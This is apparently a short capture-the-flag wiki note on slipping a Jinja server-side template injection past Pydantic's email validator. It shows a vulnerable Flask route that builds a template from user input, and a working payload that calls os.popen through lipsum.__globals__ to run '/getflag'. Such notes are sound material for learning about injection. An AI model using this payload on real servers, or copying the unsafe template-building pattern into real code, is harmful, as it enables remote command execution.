pydantic-jinja-ssti
Pydantic email validator + jinja ssti
class EmailModel(BaseModel): email: EmailStr @app.route('/render', methods=['POST']) def render_email(): email = request.form.get('email') try: email_obj = EmailModel(email=email) return Template(email_template%(email)).render() except ValidationError as e: return render_template('mail.html', error="Invalid email format.")
"lalala+{{lipsum.__globals__.os.popen('/getflag').read()}}@whatever.gr" <lalala@whatever.gr>
pydantic-jinja-ssti.txt · Last modified: 2024/12/09 22:03 by osorin